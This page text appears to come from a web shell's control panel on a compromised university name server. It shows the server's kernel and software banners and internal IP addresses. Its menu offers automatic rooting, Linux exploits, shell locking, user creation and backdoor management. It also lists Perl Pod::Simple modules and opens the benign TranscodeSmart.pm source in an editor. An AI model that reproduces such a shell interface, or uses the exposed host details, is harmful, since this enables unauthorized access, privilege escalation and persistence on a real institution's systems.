Linux ns1.utparral.edu.mx 6.8.0-79-generic #79~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 15 16:54:53 UTC 2 x86_64
Apache/2.4.58 (Unix) OpenSSL/1.1.1w PHP/8.2.12 mod_perl/2.0.12 Perl/v5.34.1
: 10.10.1.9 | : 10.10.1.254
Cant Read [ /etc/named.conf ]
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
README
+ Create Folder
+ Create File
/
opt /
lampp /
lib /
perl5 /
5.34.1 /
Pod /
Simple /
[ HOME SHELL ]
Name
Size
Permission
Action
BlackBox.pm
84.66
KB
-r--r--r--
Checker.pm
5.3
KB
-r--r--r--
Debug.pm
4.52
KB
-r--r--r--
DumpAsText.pm
3.94
KB
-r--r--r--
DumpAsXML.pm
4.45
KB
-r--r--r--
HTMLBatch.pm
39.7
KB
-r--r--r--
HTMLLegacy.pm
2.69
KB
-r--r--r--
HTML.pm
33.94
KB
-r--r--r--
JustPod.pm
9.41
KB
-r--r--r--
LinkSection.pm
4.2
KB
-r--r--r--
Methody.pm
3.49
KB
-r--r--r--
Progress.pm
2.36
KB
-r--r--r--
PullParserEndToken.pm
2.82
KB
-r--r--r--
PullParser.pm
25.13
KB
-r--r--r--
PullParserStartToken.pm
4.05
KB
-r--r--r--
PullParserTextToken.pm
3.28
KB
-r--r--r--
PullParserToken.pm
3.91
KB
-r--r--r--
RTF.pm
23
KB
-r--r--r--
Search.pm
35
KB
-r--r--r--
SimpleTree.pm
4.52
KB
-r--r--r--
Subclassing.pod
32.92
KB
-r--r--r--
TextContent.pm
2.46
KB
-r--r--r--
Text.pm
4.98
KB
-r--r--r--
TiedOutFH.pm
2.69
KB
-r--r--r--
TranscodeDumb.pm
2.63
KB
-r--r--r--
Transcode.pm
736
B
-r--r--r--
TranscodeSmart.pm
715
B
-r--r--r--
XHTML.pm
25.97
KB
-r--r--r--
XMLOutStream.pm
4.56
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TranscodeSmart.pm
require 5; use 5.008; ## Anything before 5.8.0 is GIMPY! ## This module is to be use()'d only by Pod::Simple::Transcode package Pod::Simple::TranscodeSmart; use strict; use Pod::Simple; require Encode; use vars qw($VERSION ); $VERSION = '3.42'; sub is_dumb {0} sub is_smart {1} sub all_encodings { return Encode::->encodings(':all'); } sub encoding_is_available { return Encode::resolve_alias($_[1]); } sub encmodver { return "Encode.pm v" .($Encode::VERSION || '?'); } sub make_transcoder { my $e = Encode::find_encoding($_[1]); die "WHAT ENCODING!?!?" unless $e; my $x; return sub { foreach $x (@_) { $x = $e->decode($x) unless Encode::is_utf8($x); } return; }; } 1;
Close